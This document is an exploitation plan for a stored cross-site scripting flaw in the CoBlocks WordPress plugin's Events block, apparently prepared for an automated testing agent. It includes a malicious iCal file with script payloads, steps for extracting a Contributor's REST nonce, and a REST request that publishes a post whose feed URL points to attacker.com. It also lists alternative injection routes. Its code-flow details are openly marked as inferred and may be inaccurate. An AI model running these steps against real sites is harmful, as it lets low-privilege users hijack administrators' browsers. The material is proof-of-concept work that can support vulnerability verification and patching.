Exploitation Research Plan: CVE-2026-4801 (CoBlocks Stored XSS)

1. Vulnerability Summary

The CoBlocks plugin (up to version 3.1.16) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the rendering logic of the Events block. This block allows a user to provide a URL for an external iCal feed. When the page containing the block is rendered, the plugin fetches the feed, parses the events, and outputs their properties (Title, Description, and Location) to the page.

The plugin fails to sanitize or escape these properties before outputting them. An attacker with Contributor-level permissions can create a post containing an Events block pointing to a malicious iCal file. When any user (including an Administrator) views the post, the XSS payload will execute in their browser context.

2. Attack Vector Analysis

• Endpoint: WordPress REST API (used by Gutenberg to save blocks) or wp-admin/post.php.
• Vulnerable Block: coblocks/events (inferred).
• Vulnerable Attribute: feedUrl (inferred) or similar attribute used to store the iCal feed source.
• Payload Carrier: A remote .ics (iCal) file containing malicious scripts in the SUMMARY, DESCRIPTION, or LOCATION fields.
• Authentication Level: Contributor or higher (any role with the edit_posts capability).
• Preconditions: The attacker must be able to host an iCal file accessible by the WordPress server.

3. Code Flow (Inferred)

1. Block Registration: register_block_type( 'coblocks/events', ... ) is called, likely in includes/class-coblocks-blocks.php or a block-specific directory.
2. Rendering Callback: The render_callback function for the Events block (e.g., render_block_coblocks_events) is triggered when the post is viewed.
3. Data Fetching: The callback retrieves the feedUrl from the block attributes and uses wp_remote_get() to fetch the external data.
4. Parsing: The iCal data is parsed (possibly using a library or manual string splitting).
5. Sink: The parsed event data is looped through and appended to the output string:

   // Vulnerable Pattern (Inferred)
   foreach ( $events as $event ) {
       $html .= '<h3 class="coblocks-event-title">' . $event['summary'] . '</h3>'; // NO ESCAPING
       $html .= '<p class="coblocks-event-description">' . $event['description'] . '</p>'; // NO ESCAPING
   }
   

4. Nonce Acquisition Strategy

To save a post as a Contributor, we need a REST API nonce.

1. Create/Edit Page: Navigate to the WordPress post editor as a Contributor.
2. Extract Nonce: Use browser_eval to extract the REST nonce from the wpApiSettings object which is globally available in the Gutenberg editor.

JavaScript to execute:

window.wpApiSettings.nonce

5. Exploitation Strategy

Step 1: Prepare the Malicious iCal Feed

Host a file named malicious.ics on a server accessible to the target:

BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//CoBlocks//NONSGML Events//EN
BEGIN:VEVENT
UID:12345
DTSTAMP:20231010T120000Z
DTSTART:20250101T120000Z
DTEND:20250101T130000Z
SUMMARY:<script>alert("XSS_SUMMARY")</script>
DESCRIPTION:<img src=x onerror=alert("XSS_DESCRIPTION")>
LOCATION:"><svg/onload=alert("XSS_LOCATION")>
END:VEVENT
END:VCALENDAR

Step 2: Authenticate and Obtain Nonce

1. Log in as a Contributor.
2. Navigate to wp-admin/post-new.php.
3. Execute browser_eval("window.wpApiSettings.nonce") to get the X-WP-Nonce.

Step 3: Create the Malicious Post

Use the http_request tool to create a new post containing the CoBlocks Events block.

• URL: https://target.example.com/wp-json/wp/v2/posts
• Method: POST
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

{
  "title": "Event Schedule",
  "content": "<!-- wp:coblocks/events {\"feedUrl\":\"http://attacker.com/malicious.ics\"} /-->",
  "status": "publish"
}

(Note: If "publish" fails for Contributor, use "pending" and have an admin view the preview, or "draft" and use the preview link.)

Step 4: Trigger the XSS

1. Obtain the URL of the created post.
2. Navigate to the post as an Administrator or Guest.
3. The browser will fetch the .ics file and render the unsanitized SUMMARY or DESCRIPTION.

6. Test Data Setup

1. Plugin: Install and activate CoBlocks <= 3.1.16.
2. User: Create a user with the Contributor role.
3. External Resource: Ensure the environment can serve the malicious.ics file via a local or accessible URL.

7. Expected Results

• When the post is rendered, the HTML source should contain the literal tags from the iCal file:
  • <h3 ...><script>alert("XSS_SUMMARY")</script></h3>
• A browser alert box should appear with the payload message.

8. Verification Steps

1. Check Post Content: Use WP-CLI to verify the block was saved correctly:
   wp post get [POST_ID] --field=post_content
2. Verify HTTP Request: Check the server logs (or Use browser_navigate) to see if the WordPress server attempted to fetch the iCal URL.
3. Confirm Execution: Use browser_navigate to visit the post and browser_eval to check for a global variable set by the XSS (if the payload sets one).

9. Alternative Approaches

• Static Block Injection: If the plugin saves the parsed HTML into post_content at the time of editing (unlikely for a feed-based block), the XSS would be injected during the REST API call to update the post.
• Shortcode Variant: If the Events block uses a shortcode internally (e.g., [coblocks_events url="..."]), attempt to inject the shortcode directly into a standard paragraph block.
• Attribute Manipulation: If feedUrl is sanitized, check other attributes like className or custom styles within the block JSON that might be reflected without escaping in the PHP render_callback.